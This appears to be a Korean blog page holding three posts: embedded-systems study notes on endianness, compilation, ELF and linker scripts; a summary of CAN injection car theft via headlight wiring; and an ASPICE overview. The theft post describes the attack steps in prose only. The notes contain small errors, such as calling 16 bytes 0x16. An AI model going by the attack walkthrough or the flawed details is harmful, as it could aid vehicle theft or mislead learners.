3. software 6-10

page : 175

http://download.savannah.gnu.org/releases/tinycc/

 

Index of /releases/tinycc/

 

download.savannah.gnu.org

https://velog.io/@embeddedjune/%EC%9E%84%EB%B2%A0%EB%94%94%EB%93%9C-%EB%A0%88%EC%8B%9C%ED%94%BC-%EC%9A%94%EC%95%BD-%EB%B0%8F-%EC%A0%95%EB%A6%AC-Chapter-3.-SW-%EC%BB%B4%ED%8C%8C%EC%9D%BC%EB%A1%9C%EB%93%9C

 

[임베디드 레시피 요약 및 정리] Chapter 3. SW ① :: 컴파일~로드

Endian을 이해하지 못하면, 디버깅 시에 오류에 빠질 수 있으니 꼭 이해해야 한다.(※ 정말 endian 중요합니다. 설령 배웠더라도 정말 햇갈리기 쉬운 개념이라 꼭 10분~20분 시간내서 정확하게 뇌에서

velog.io

 

 

https://rasino.tistory.com/307#google_vignette

 

【 C 환경설정 】 VS code에서 C/C++ 코딩환경 구축하기

【 C 환경설정 】 VS code에서 C/C++ 코딩 환경 구축하기 요즘 파이썬(python)이나 자바(JAVA), javascript C# 등등 하이레벨 언어를 학습하던 사람들이 프로그래밍의 근간을 튼튼히 한다거나? 여러 가지 이

rasino.tistory.com

ADS는 ARM사에서 파는 ARM Developer's Suit 이다.

1. Little Endian과 Big Endian

  • Endian을 이해하지 못하면, 디버깅 시에 오류에 빠질 수 있으니 꼭 이해해야 한다.
    ([※] 정말 endian 중요합니다. 설령 배웠더라도 정말 햇갈리기 쉬운 개념이라 꼭 10분~20분 시간내서 정확하게 뇌에서 재정립하고 진행하시는게 좋습니다.)
  • 0x12345678이라는 dword 데이터를 저장한다면,
    • Little endian은 MSB가 상위주소에 저장된다. [0] = 0x78, [1] = 0x56, [2] = 0x34, [3] = 0x12
    • Big endian은 MSB가 하위 주소에 저장된다. [0] = 0x12, [1] = 0x34, [2] = 0x56, [3] = 0x78
  • Big endian은 사람이 읽기 쉬운 형태고, little endian은 ARM processor가 읽기 쉬운 형태다.
    ([※] 개인적으로는 저 [0], [1], [2], [3]을 어떻게 배열하냐에 따라(내림차순, 오름차순, 위로 쌓기, 아래로 쌓기 등) 인상이 확확 달라져서 MSB가 이름의 반대로 저장(little은 상위주소, big은 하위주소)된다고 외웁니다.)
  • 따라서 ARM processor는 default로 little endian을 사용한다. 하지만, co-processor 15번 CP15의 CR 레지스터를 설정해서 big endian으로 동작하도록 설정 가능하며 컴파일 할 때도 설정할 수도 있다.

2. 컴파일 (Compile)

2.1. 컴파일이란?

  • 우리는 chapter 1에서 CPU는 단순히 약속된 bit pattern을 약속된 절차에 따라 수행할 뿐이라고 배웠다.
  • 단, 이 bit pattern(native code, 기계어)은 사람이 읽기에 너무 불편하기 때문에 사람이 그나마 읽을만한 1:1 매칭이 되는 표기법을 만든게 어셈블리(assembly, mnemonic)다.
  • 그리고 이 1:1매칭을 자동으로 해주는 ‘어셈블러’를 만들었다.
  • 하지만, 프로세서마다 약속된 bit patten이 달라서 프로그램을 만들어도 프로세서 A에서는 동작하지만, B에서는 동작하지 않는 문제가 발생했다.
  • 서로 다른 프로세서에 맞는 어셈블리를 만들어주는 편리한 존재에 대한 수요가 증가했고, 그렇게 개발된게 컴파일러다.
  • 컴파일러는 C/C++같은 high level language로 코드를 만들면, 각 프로세서에 약속된 bit pattern으로 매칭될 수 있는 어셈블리를 만들었고, 어셈블러는 1:1 매칭을 수행해 적절한 기계어를 만들 수 있게 됐다.
  • 결국 사람은 프로세서의 동작 원리나 약속같은건 신경쓰지 않고 그냥 C/C++로 프로그램을 개발하면 됐다.
  • 크로스컴파일(Cross-compile)은 타겟보드의 프로세서(ARM)와 우리가 사용하는 host PC의 프로세서(x86-64)가 다르기 때문에 타겟보드에서 동작할 수 있는 바이너리를 host PC에서 생성하는 일련의 과정을 말한다.

2.2. 컴파일 과정

  • 위 그림은 전체 컴파일 과정을 나타내며 간략하게 설명하면 다음과 같다.
    1. 전처리기(Preprocessor)가 컴파일을 쉽게 할 수 있도록 헤더파일과 매크로를 소스파일에 옮기는 최적화 작업을 수행하고 결과물로 .i파일을 만든다.
    2. 컴파일러 .i 파일을 컴파일 해 .s 어셈블리를 만든다.
    3. 어셈블러 .s 어셈블리를 .obj 목적파일(object file)로 만든다.
    4. 링커가 여러 .obj 파일과 라이브러리(.lib)을 묶고 엮어 하나의 실행 가능한 ELF(Executable & Loadable File)형식의 .elf 파일로 만든다. 이때 scatter loading 파일.scl또는 링커 스크립트(Linker script) .ld 를 통해 개발자가 원하는 메모리 구성을 가지도록 링커에게 정보를 줄 수도 있다.
    5. fromelf 또는 objcopy 같은 유틸리티를 사용해 최종 실행 바이너리 .bin 파일을 만든다.

2.3. 컴파일 실습 ①

[※] 본문에서는 ADS를 이용해 armcc 명령어와 tcc 명령어 등을 사용해서 컴파일 및 링크를 합니다. 하지만, 저를 포함해서 많은 분께서는 GNU의 ARM GCC 밖에 구할 수 없기 때문에 저도 GNU의 ARM GCC를 이용해서 실습했습니다.

#define TRUE 1
typedef struct {
  char memberBool;
  int memberInt;
  char memberWord;
} memberType;

extern int add(int a, int b);
#include "spaghetti.h"

int zi = 0;
int rw = 3;
extern int relocate = 3;
extern structure recipes[3];
int add(int a, int b);

int main() {
    int stack;
    volatile int local1, local2, local3;
    
    local1 = 3;
    local2 = 4;
    local3 = add(local1, local2);
    stack += local3;
    
    return stack;
}

int add(int a, int b) {
    return (a + b);
}

[※] 위와 같이 본문의 코드를 입력한 뒤 각각 spaguetti.c와 spaghetti.h로 저장했습니다. (아참, 본문 코드랑 다르게 #define EQUAL = 안 하고 그냥 = 쓴 이유는, 그렇게 하면 이상하게 컴파일이 안 되서 불가피했습니다.)

  • arm-none-eabi-gcc -E 옵션을 통해 전처리를 수행한 결과입니다. 헤더파일 및 define 했던 것들이 코드에 들어가 적용된 모습을 볼 수 있습니다. 이렇게 단일 소스파일에 합쳐져 컴파일을 수월하게 해주는 게 전처리기의 역할입니다.
  • -S 옵션을 통해 컴파일 후 어셈블리 파일만 뽑아낼 수 있습니다.
  • R2에 3을, R3에 4를 집어넣는 모습을 보아 코드의 local1이 R2에, local2가 R3에 저장된 것을 알 수 있습니다.
  • 스택이 0x16만큼 감소합니다 (상위주소 → 하위주소). 현재 main()에 지역변수가 4개있고 int형이므로 각각 4-byte씩 총 16-byte를 차지하기 때문입니다. STR 명령어를 통해 값을 저장합니다.
  • LDR 명령어로 불러온 뒤 두 값을 더하고 최종결과를 AAPCS에 따라 R0에 저장합니다. 이제 스택에 저장된 값들은 필요없으므로 다시 0x16을 더한 뒤 return 합니다.
  • Return 할 때는 LR이 가리키는 주소로 갑니다.
  • 이 컴파일은 O2옵션을 줬기 때문에 add() 함수에 대한 최적화가 자동으로 이뤄졌습니다. 함수 호출 부분에서 최적화가 발생했음을 알 수 있습니다.

3. 링커(Linker)와 ELF

3.1. 변수의 생애주기

  • auto
    • 지역변수에 해당하며 블록 또는 함수 범위 내에서 선언돼 실행흐름이 범위를 벗어날 때 사라진다.
  • extern
    • Global변수에 해당하며 선언 이후 파일 끝까지 전체에서 사용할 수 있다.
    • 프로그램 전체에서 사용 가능할 뿐만 아니라 다른 파일에서도 불러다 사용할 수 있다.
  • static
    • 위 auto, extern 변수 모두 static 선언이 가능하며 다른 의미를 가지게 된다.
    • static auto의 경우 범위를 벗어나도 그 값을 유지한다. 단, 범위를 벗어난 경우에는 사용할 수 없다.
    • static extern의 경우 프로그램 전체에서 사용 가능한 건 변함 없지만, 다른 파일에서는 불러서 사용할 수 없다.
    • 따라서 static 선언은 값은 유지하되 범위는 국한시키는 속성을 부여해 C++의 protected와 비슷하다.
  • volatile
    • 컴파일러는 옵션에 따라 자동으로 연산을 최소화하는 방향으로 최적화를 수행한다.
    • 이러한 최적화가 되려 개발자의 의도에 맞지 않게 실행흐름을 변경시키는 결과를 초래하기도 한다.
    • 예를 들어, 같은 주소에 대한 연속적인 data write을 하는 burst transfer 중인 device가 있다고 할 때, 컴파일러가 최종값만 write 하도록 최적화 해버리면 중간과정의 data들이 유실되는 사고가 발생한다.
    • 이런 경우를 방지하기 위해 volatile 선언을 통해 컴파일러로 하여금 '이 변수에 대해서는 최적화를 하지 말고 코딩된 그대로 실행하라'라고 명령한다.

3.2. Symbol과 영역

3.2.1. Symbol이란?

  • Symbol이란, 메모리에 자신만의 고유 주소를 갖게 되는 단위를 말하며 링커가 인식할 수 있는 기본 단위다.
    • Symbol == global 이라는 뜻을 가진다고 이해해도 된다. 함수, 전역변수, static 변수는 고유 주소를 갖기 때문에 소스파일 내 어디에서도 참조가 가능한 것을 떠올리면 쉽게 납득할 수 있다.
    • 반면, 지역변수는 고유 주소를 갖고 있지 못하기 때문에 루틴이 종료됨에 따라 사라진다.
  • 링커는 각 symbol과 symbol의 시작주소를 table에 저장하고 관리한다. 이 table은 컴파일 후 결과물로 나오는 .o 오브젝트 파일에서 확인할 수 있다.

3.2.2. 영역 구분 (RO, RW, ZI) (.text, .data, .bss)

  • Symbol은 내부적으로 3가지 종류로 나뉘는데, 각 종류에 따라 메모리에 올라가는 영역도 달라진다.
    • Read only (RO, .text)
      • 읽기만 가능하고 수정할 수 없는 symbol을 의미한다.
      • 대표적으로 const형으로 선언된 전역변수라던지, 소스코드 자체를 의미한다.
      • 이 종류에 속하는 symbol은 메모리의 RO영역 또는 .text라고 부르는 영역에 속한다.
    • Read Write (RW, .data)
      • 읽기와 쓰기가 가능해 수정할 수 있는 symbol을 의미한다.
      • 대표적으로 초기화 된, 초기화 값이 있는 전역변수가 여기에 속한다.
      • 이 종류에 속하는 symbol은 메모리의 RW영역 또는 .data라고 부르는 영역에 속한다.
    • Zero Initialized (ZI, .bss)
      • 이름 그대로 0으로 초기화되는 symbol을 의미하며 대표적으로 초기값이 없는 전역변수가 여기 속한다.
      • 이 종류에 속하는 symbol은 메모리의 ZI영역 또는 .bss라고 부르는 영역에 속한다.
      • [※] C/C++로 코딩테스트 준비해보신 분들은 아시겠지만, 전역변수로 초기값 안 주고 코딩하는 경우가 많으실 겁니다. 자동으로 0으로 초기화해주기 때문에 편하게 사용하셨을 탠데요, 이런 변수들이 다 ZI 영역(.bss)입니다.
  • 어떤 영역에 속하냐에 따라 저장되는 위치도 달라진다.
    • RO영역은 항상 그 값을 유지하고 있어야 하고 수정될 일도 없으므로 ROM(Flash memory)에 저장된다.
    • RW영역은 초기값을 가지고 있어야 하므로 ROM에 저장된다. 또한, 명령어에 따라 수시로 수정이 이뤄져야 하므로 RAM에도 있어야 한다.
    • ZI영역은 메모리에서 0으로 초기화 될 것이므로 ROM에 저장할 필요가 없고 RAM에 저장된다.
  • 개발자는 각 영역의 시작주소와 길이에 대한 정보를 링커에게 전달해서 원하는 주소에 영역을 위치시킬 수 있다.
  • 이 정보를 담고있는 파일을 Scatter loading 파일 또는 linker script(링커스크립트)라고 부른다.

3.3. ELF format object file

  • 컴파일 후 결과물인 .obj 오브젝트 파일은 ELF 형식을 따른다.
  • 오브젝트 파일은 relocatable object file executable object file로 나뉜다.
    • 여러 소스파일이 있을 때,각 소스파일을 컴파일 하면 각각에 대한 오브젝트 파일이 나올 것이다.
    • 각 소스파일이 다른 소스파일에 있는 extern변수 또는 함수를 가져와서 사용한다고 가정하자. 그러면, 현재 컴파일 된 소스파일에는 해당 변수나 함수에 대한 정보가 없기 때문에 컴파일러는 구멍을 뚫어놓고 ‘링커야, 나중에 다른 파일에서 대응하는 symbol을 찾아서 구멍을 매꿔줘’라고 표시한다.
    • 이렇게 구멍이 뚫려있는 상태인, 나중에 링커를 통해 재배치가 가능한 오브젝트 파일을 relocatable 오브젝트 파일이라고 부른다.
    • 만일, 오브젝트 파일이 2개 이상이고 링크 과정을 거쳐야 한다면 -c 옵션을 통해 링커가 link 하지 못하게끔 해서 relocatable object file을 만들어야 한다.
  • 오브젝트 파일은 크게 다음과 같은 4가지 section으로 구성된다.
    1. ELF Header
    2. Code section (RO, .text, .rodata)
    3. Data section (RW, ZI, .data, .bss)
    4. Debug section (.debug, .line, .strtab, .symtab 등)
      • .symtab이 바로 symbol table이며 링크와 디버깅할 때 꼭 필요한 부분이다.
  • [※] objdump 유틸리티를 사용해서 relocatable object file 내부를 덤프한 모습입니다.
  • [※] 각 섹션의 .text 부분을 확인할 수 있습니다.
  • [※] 상대주소와 opcode 그리고 어셈블리 명령어를 한 눈에 보기 좋게 확인할 수 있습니다.
  • [※] readelf 유틸리티를 사용해서 relocatable object file의 가장 첫 부분인 'ELF 헤더'를 덤프한 모습입니다.
  • [※] 현재 object file의 종류가 REL(Relocatable file)이라는 점, ARM mode로 컴파일 된 점, 헤더 크기가 52Byte인 점 등을 확인할 수 있습니다. 본문 내용과 같네요!
  • [※] 본문에서 설명한 section들이 똑같이 들어있음을 확인할 수 있습니다.
  • Object file 속 symbol table의 모습이다.
    • Num은 링커를 위한 symbol의 번호다.
    • Value는 해당 symbol의 시작 offset 주소다.
    • Size는 symbol의 크기다. Function(함수), object(전역변수)가 아닌 경우는 0이다.
    • Type은 해당 symbol의 종류 (함수, 전역변수, section 등)를 나타낸다.
    • Bind는 해당 symbol의 scope를 의미함 Global, Local, Weak를 나타낸다.
    • Ndx는
      • UND: 현재 file에서 사용되고 있지만 define은 없는 symbol
      • ABS: Relocate 돼서는 안 되는 symbol
      • 1은 .text, 2는 .data, 3은 .bss를 의미한다.
  • [※] objdump로 확인해본 opcode가 little endian 형태로 .text에 저장돼있네요.
  • [※] 본문 내용대로 Header 이후 opcode가 나오는 것을 확인할 수 있었습니다.

3.4. 링커(Linker)

  • 우리는 앞서 symbol과 relocatable 오브젝트 파일의 내부 구조를 배웠다.
  • 이제 링커의 역할과 executable 오브젝트 파일까지 배워보며 마무리를 해보자.
  • 링커가 하는 역할은 다음 2가지로 요약할 수 있다.
    1. 여러 relocatable 오브젝트 파일들을 같은 section끼리 모아서 순서대로 정렬해 합친다.
    2. Symbol reference resolving을 수행한다.
      • 앞서 relocatable 오브젝트 파일에는 ‘구멍’이 뚫려 있을 수 있다고 표현했다.
        • 어떤 파일에 선언만 돼있고 사용하진 않은 변수라던가,
        • 어떤 변수나 함수를 불렀는데 그 파일에 없고 다른 파일에 extern으로 선언돼 있다던가
      • 이런 구멍들을 하나하나 찾아서 서로 연결해 매꿔주는 작업을 링커가 수행한다.
  • 이런 복잡한 작업을 수행하기 때문에 link 때 메모리와 시간을 많이 잡아먹는 것이다.

3.5. Scatter loading (Linker script)

  • 위 2.2절에서 링커에 대한 설명을 할 때 scatter loading(또는 linker script)를 통해 개발자가 ㅡ원하는 메모리 구성을 가지도록 링커에게 정보를 줄 수도 있다고 설명했다.
    • ADS에서는 sctter loading file이라고 부르고, GNU에서는 linker script라고 부른다.
  • 메모리를 개발자가 원하는 대로 구성할 때는 두 가지 관점에서 봐야 한다.
    • Load view : SW가 실행되기 전에 저장매체(ROM, Flash)에 저장돼 있을 때의 모습이다.
    • Execution view : SW가 실행되기 위해 메모리(SDRAM)에 로드됐을 떄의 모습이다.
  • 먼저, 앞서 RO, RW는 ROM에, RW, ZI는 RAM에 저장된다고 배웠는데, 프로그램이 실행되기 위해서는,
    • NOR Flash의 경우 XIP를 지원하므로 RW만 RAM에 로드하고 ZI를 할당해야 한다.
    • NAND Flash의 경우 XIP가 불가능하므로 RO, RW를 모두 RAM에 로드하고 ZI를 할당해야 한다.
  • 따라서 로드하는 과정이 들어가기 때문에 load view와 execution view는 메모리 구조가 달라지게 된다.
  • 그럼 위 개념을 가지고 scatter loading file을 작성해보자.
LOAD_REGION 0x0
{
  EXEC_REGION1 0x0
  {
    spaghettil.o (+RO)
  }
  EXEC_REGION2 0x8000
  {
    spaghettil.o (+RW)
  }
  EXEC_REGION3 0xA000
  {
    spaghettil.o (+ZI)
  }
}
  • 가장 바깥쪽 LOAD_REGION은 load view의 시작주소를 의미한다.
    • Load view에서는 시작주소부터 RO, RW를 차곡차곡 차례대로 저장한다.
  • 안쪽 EXEC_REGION1, 2, 3은 execution view이며 각각 RO, RW, ZI 영역의 시작주소를 의미한다.
    • 0x0번지부터 RO영역이, 0x8000번지부터 RW영역이, 0xA000부터 ZI영역이 시작됨을 링커에게 알린다.
    • 이때 RO영역과 Load view의 시작주소가 같다. 이를 Root region이라고 하는데, loading view와 execution view의 주소가 같은 영역을 말하며 scatter loading 파일에 꼭 하나씩은 있어야 한다.
블로그 이미지

wtdsoul

,

Hackers Are Stealing Cars by Injecting Code Into Headlight Wiring (thedrive.com)

 

Hackers Are Stealing Cars by Injecting Code Into Headlight Wiring

High-tech thieves are stealing cars using a device that injects CAN messages into a vehicle's headlight harness.

www.thedrive.com

https://kentindell.github.io/2023/04/03/can-injection/

 

CAN Injection: keyless car theft

This is a detective story about how a car was stolen - and how it uncovered an epidemic of high-tech car theft. It begins with a tweet. In April 2022, my friend Ian Tabor tweeted that vandals had been at his car, pulling apart the headlight and unplugging

kentindell.github.io

Once the device is on and plugged in, it wakes up the CAN network by sending a frame—similar to if you were to pull on a door handle, approach with a passive entry key, or hit a button on your fob. It then listens for a specific CAN message to begin its attack. The device then emulates a hardware error which tricks other ECUs on the CAN network to stop sending messages so that the attacking device has priority to send its spoofed messages to CAN devices.

 

The pause of valid messages is when the device is able to go into attack mode. It then sends the spoofed "valid key present" messages to the gateway which makes the car think that an actual valid key is being used to control the vehicle. Next, the attacker simply presses the speaker's "play" button, and the car's doors are unlocked.

Given that the manufacturer of these CAN injection devices claims that the devices are so effective against a myriad of makes and models, it would seem that this could be an industry-wide problem that may take some brainstorming to fix.

The good news is that this type of attack can be thwarted. While there are quick-and-dirty methods that could potentially be re-defeated in the long run, an automaker looking to prevent this type of attack by encrypting its CAN Bus network. According to Tindell, Canis is working on a similar project to retrofit U.S. military vehicles with a similar encryption scheme, similar to what he suggests as the fix for commercial vehicles experiencing this issue.

If thieves are already exploiting this in the wild (which they are), it means that it's already a problem. And if it continues to grow in popularity, perhaps it could lead to a repeat of what Hyundai and Kia are currently experiencing on a significantly more low-tech level.

'경로 및 정보' 카테고리의 다른 글

Shell code Development pdf  (0) 2023.04.16
Braktooth-IVI-Report/  (0) 2023.04.14
ASPICE 개요  (0) 2023.04.03
ISO 26262 ASIL D 와 IEC 61508 SIL 3 인증 획득한 RTOS  (0) 2023.04.03
XSS 우회 패턴 등  (0) 2023.03.20
블로그 이미지

wtdsoul

,

ASPICE 개요

경로 및 정보 2023. 4. 3. 10:39

 

https://ji-se.tistory.com/entry/ASPICE-%EA%B0%9C%EC%9A%94

 

 

ASPICE 개요

안녕하세요. 자율주행 SW 안전 전문가를 목표로 하는 플라잉 준입니다. 오늘은 안전한 시스템 & 소프트웨어 개발의 기반이 되는 시스템 & 소프트웨어 품질 관리 (Quality Management) 측면의 프로세스

ji-se.tistory.com

 

안녕하세요. 자율주행 SW 안전 전문가를 목표로 하는 플라잉 준입니다.

 

오늘은 안전한 시스템 & 소프트웨어 개발의 기반이 되는 시스템 & 소프트웨어 품질 관리 (Quality Management) 측면의 프로세스 표준인 ASPICE 에 대해 설명하도록 하겠습니다.

 

Overview

ASPICE 는 Automotive SPICE (Software Process Improvement Capability dEtermination)의 약어로 유럽 주요 OEM이 자동차용 S/W 를 개발하는 부품 업체의 개발 프로세스의 역량을 평가하기 위한 목적으로 만든 산업계 통용 표준입니다.

 

ASPICE 의 내용은 프로세스 능력의 평가를 위한 프로세스 측정 프레임워크 표준인 ISO/IEC 33020 과 프로세스 수행능력 평가 프레임워크 표준인 ISO/IEC 15504 를 기반으로 작성 되었습니다.

 

ISO 15504 SPICE - wiki & ISO/IEC 33020
 

ISO/IEC 15504 - Wikipedia

ISO/IEC 15504 Information technology – Process assessment, also termed Software Process Improvement and Capability Determination (SPICE), is a set of technical standards documents for the computer software development process and related business managem

en.wikipedia.org

 

 

ISO/IEC 33020:2019

Information technology — Process assessment — Process measurement framework for assessment of process capability

www.iso.org

 

 

ASPICE 는 부품을 공급하는 공급업체의 개발 프로세스의 역량을 평가하고, 결과를 공식적으로 등급화하여 공급업체의 품질 능력 향상을 목적으로 활용이 되고 있습니다

 

ASPICE 는 크게 3가지로 구성이 되어 있는데, 먼저 차량 SW 개발 시 참조하여 수행할 수 있도록 제공되는 프로세스 참조 모델 (PRM, Process Reference Model) 과 공급업체의 능력을 평가하는 프로세스 평가 모델 (PAM, Process Assessment Model) 그리고 프로세스별 역량을 평가할 수 있는 측정 프레임워크 (MF, Measurement Framework (ISO/IEC 33020)) 로 구성되어 있습니다.

 

전체 개발 프로세스의 역량 수준은 측정 프레임워크에 따라 6개의 역량 수준이 존재하며 각 수준 별 내용은 다음과 같습니다.

역량 수준 설명 프로세스 속성
수준 0 :
불완전한 프로세스
(Incomplete)
프로세스가 이행되지 않거나 프로세스 목적을 달성하지 못함 -
수준 1 :
수행된 프로세스
(Performed)
프로세스가 수행되어 프로세스 목적을 달성 PA 1.1 프로세스 수행
(Process performance)
수준 2 :
관리된 프로세스
(Managed)
프로세스가 계획, 감시, 조정되며 프로세스에 의해 생성된 작업 산출물이 적절하게 작성되고, 통제되고, 유지됨 PA2.1 수행 관리
(Performance management)
PA 2.2 작업 산출물 관리
(Work product management)
수준 3 :
정립된 프로세스
(Established)
수준 2를 달성할 수 있는 정의된 프로세스가 있으며, 평가 받는 프로세스가 해당 정의된 프로세스로 수행됨 PA3.1 프로세스 정의
(Process definition)
PA3.2 프로세스 전개
(Process deployment)
수준 4 :
예측 가능한 프로세스
(Predictable)
정립된 프로세스가 프로세스 성과를 달성하기 위해 정의된 한계 내에서 예측적으로 운영됨
즉, 프로세스 내의 여러 요소들을 정량적으로 측정 및 분석하여 이상 원인을 식별하여 해당 이상 원인을 해결
PA4.1 정량적 분석
((Process) Quantitative analysis)
PA4.2 정량적 통제
((Process) Quantitative control
수준 5 :
혁신 프로세스
(Innovating)
예측 가능한 프로세스가 조직차원의 정략적 피드백을 통해 전사 프로세스를 지속적으로 개선하고 실제 프로젝트를 개선된 프로젝트로 수행 PA5.1 프로세스 혁신
(Process innovation)
PA5.2 프로세스 혁신 이행
(Process innovation implementation)

 

 위에서 정리한 개발 프로세스의 역량 수준은 ASPICE 의 3가지 구성 요소인 PRM, PAM, MF 를 이용하여 결정되며 이에 대한 설명은 PRM, PAM, MF 에 대해 설명을 한 후 마지막에 설명하도록 하겠습니다. (아래 그림은 역량 수준을 결정하기 위한 PRM, PAM, MF 을 이용한 2차원 프레임워크입니다. 자세한 내용은 아래 설명하겠습니다.)

 

 

프로세스 참조 모델 (PRM, Process Reference Model)

 

ASPICE 의 프로세스 참조 모델은 위의 그림과 같이 32개의 프로세스의 집합을 제공합니다.

 

PRM에서 프로세스는 프로세스 카테고리 별로 그룹화되고 카테고리 내에서의 프로세스는 처리하는 활동 유형에 따라 프로세스 그룹으로 그룹화 됩니다.

 

프로세스 카테고리 분류는 아래과 같습니다.

  • Primary Life Cycle Processes : 제품 / 시스템 개발에 필수적인 프로세스의 그룹
  • Organizational Life Cycle Processes : 조직 차원에서 관리 및 수행이 필요한 프로세스 그룹
  • Supporting Life Cycle Processes : 다른 그룹이 원활이 수행 되도록 지원하는 프로세스 그룹

카테고리 별 프로세스 그룹은 아래과 같습니다.

Process Categories Process Group
Primary Life Cycle Processes Acquisition process group
Supply process group
System engineering process group
Software engineering process group
Organizational Life Cycle Processes Management process group
Process improvement process group
Reuse process group
Supporting Life Cycle Processes Support process group

 

PRM 각각의 프로세스는 프로세스의 명칭, 프로세스의 목표 (Purpose statement), 목표와 관련된 결과 리스트 (Process outcomes) 로 구성되어 있습니다.

 

ASPICE 에서 제공하는 PRM 의 템플릿과 작성된 PRM 은 아래와 같습니다.

 

 

VDA Scope

앞서 말씀드린바와 같이 ASPICE 는 총 32개의 프로세스로 구성이 되어 있는데, 이 중 필수/기본 범위로 VDA 에서 정한 16개의 프로세스를 VDA Scope 이라 하며, VDA scope (구, HIS Scope) 은 아래 그림의 빨간 테두리의 프로세스에 해당합니다.

 

ASPICE PRM - VDA Scope

Process Group Process
Acquisition process group ACQ.4 Supplier Monitoring
Supply process group N/A
System engineering process group
SYS.2 System Requirement Analysis
SYS.3 System Architectural Design
SYS.4 System Integration and Integration Test
SYS.5 System Qualification Test
Software engineering process group
SWE.1 Software Requirement Analysis
SWE.2 Software Architectural Design 
SWE.3 Software Detailed Design and Unit Construction
SWE.4 Software Unit Verification
SWE.5 Software Integration and Integration Test
SWE.6 Software Qualification Test
Management process group MAN.3 Project Management
Process improvement process group N/A
Reuse process group N/A
Support process group
SUP.1 Quality Assurance
SUP.8 Configuration Management
SUP.9 Problem Resolution Management
SUP.10 Change Request Management

 

프로세스 평가 모델 (PAM, Process Assessment Model)

프로세스 평가 모델 (PAM, Process Assement Model) 은 프로세스 참조 모델(PRM, Process Reference Model) 의 프로세스 성과 (process outcome) 와 측정 프레임워크 (MF, Measurement Framework) 의 속성 성과 (process attribute) 가 실제 수행된 (instance 화 된) 프로세스에 존재하는지를 식벽하기 위한 지표를 제공합니다.

 

이 지표는 평가자가 실제 수행된 프로세스에 대해 역량 수준을 평가할 때 사용 됩니다.

 

프로세스 평가 모델에서 사용되는 지표는 아래 2가지가 있습니다.

  • 프로세스 수행 지표 (process performance indicator)
    • 역량 수준 1에만 적용 가능
    • PRM 의 프로세스 성과 (process outcome) 의 수행 정도를 확인 할 수 있는 지표를 제공
    • 기본 사례 (BP, Base Practice, 수행 지향적 지표), 작업 산출물 (WP, Work Product, 결과 지향적 지표) 두 가지 유형으로 구분
      • 작업 산출물의 경우, 작업 산출물 특성 (WPC, Word Procuct Caracteristic) 이 존재
  • 프로세스 능력 지표 (process capability indicator)
    • 역량 수준 2~5 에 적용
    • MF 의 프로세스 속성 성취 (process attributea acheivement) 의 달성 정도를 확인할 수 있는 지표를 제공
    • 일반 사례 (GP, Generic Practice, 수행 지향적 지표), 일반 자원 (GR, Generic Resource, 결과 지향적 지표) 

 

위의 프로세스 평가 모델에서 제공하는 지표와 프로세스의 역량 (CL, Capability Level) 간의 관계는 아래 그림과 같습니다.

 

프로세스 수행 지표 정리

앞서 정리한 대로, 프로세스 수행 지표 (process performance indicator) 는 기본 사례 (BP) 와 작업 산출물 (WP) 두 가지 유형이 존재합니다.

 

기본 사례, 작업 산출물, 작업 산출물 특성 및 프로세스 성과간의 관계

 

두 지표는 각 프로세스마다 정의되며 두 지표 모두 하나 이상의 프로세스 성과 (process outcome) 와 관련이 있으며 ASPICE 에서는 각 기본 사례 (BP), 작업 산출물 (WP) 마다 관련된 프로세스 성과 (process outcome) 을 정리합니다. (아래 예제 참조)

 

예제) SYS.2 System Requirement Analysis

예제. SYS.2 System Requirement Analysis 의 Process outcomes

예제. SYS.2 System Requirement Analysis 의 Base practices

예제. SYS.2 System Requirement Analysis 의 Work products

 

추가로, 작업 산출물 (WP)의 경우, 각 작업 산출물 (WP) 마다 작업 산출물 특성 (WPC) 이 존재하며 위의 예제에 있는 Review record 작업 산출물 (WP) 에 대한 작업 산출물 특성 (WPC) 은 아래와 같습니다.

 

위의 작업 산출물 (WP) Review record 에 대한 작업 산출물 특성 (WPC) 을 보면 해당 작업 산출물의 내용, 산출물의 구조, 형식 등이 정리된 것을 볼 수 있습니다.

 

이는 프로세스를 평가하는 심사자가 작업 산출물에 대해 평가할 때의 지표로 사용될 수도 있으며, 프로세스를 설계 및 구축하는 프로세스 조직에서 산출물 템플릿 문서 등을 만들 때 사용할 수도 있습니다.

 

ASPICE 에서는 위에서 정리한 기본 사례 (BP), 작업 산출물 (WP), 작업 산출물 특성 (WPC) 에 대해 엄격한 필수 사항도 아니며 조직을 위한 준수수항도 아니라고 설명하고 있기에, 실제 업무를 수행하는 것에 대해 생각을 해보면 위의 작업 산출물 특성 (WPC) 에 정리된 내용을 조직에 맞춰 선별하여 작업 산출물 (WP) 을 작성하는 것이 효율적일 수 있겠다 생각합니다.

 

프로세스 능력 지표 정리

앞서 정리한 대로, 프로세스 역량 지표 (process capability indicator) 는 일반 사례 (GP) 와 일반 자원 (GR) 두 가지 유형이 존재합니다.

 

일반 사례, 일반 자원, 프로세스 속성 성취 간에 관계

 

두 지표는 각 프로세스 속성 (process attribute) 마다 정의되며 모두 하나 이상의 프로세스 속성 성취 (process attribute achievement) 와 관련이 있으며 ASPICE 에서는 각 일반 사례 (GP), 일반자원 (GR) 마다 관련된 프로세스 속성 성취 (process attribute achievement) 을 정리합니다. (아래 예제 참조)

 

예제) PA 2.1 Performance management process attribute

예제. PA 2.1 Performance management process attribute 의 achievement

예제. PA 2.1 Performance management process attribute 의 Generic practices

예제. PA 2.1 Performance management process attribute 의 Generic resources

위의 예제의 상세 내용을 보면 알 수 있듯이, 프로세스 역량 지표 (process capability indicator) 의 경우, 프로세스 수행 지표 (process performance indicator) 와는 달리 전체 프로세스에 적용 할 수 있는 일반적인 형태로 작성되어 있습니다.

 

즉, 프로세스 역량 지표 (process capability indicator) 는 프로세스 참조 모델 (PRM) 에 있는 어떤 프로세스에도 적용되는 지표입니다.

 

프로세스 역량 수준 1은 프로세스 수행 지표 (process performance indicator) 에 의해서만 특정되지만, 측정 프레임워크 (Measurment Framework) 는 각 역량 수준 마다 프로세스 속성 (process attribute) 을 정의할 것을 요구합니다. 이에, ASPICE 에서는 프로세스 역량 수준 1에 대한 프로세스 속성을 프로세스 수행 지표를 달성 하는 형태로 아래와 같이 정의합니다.

프로세스 역량 수준 1의 프로세스 속성 1.1

 

블로그 이미지

wtdsoul

,

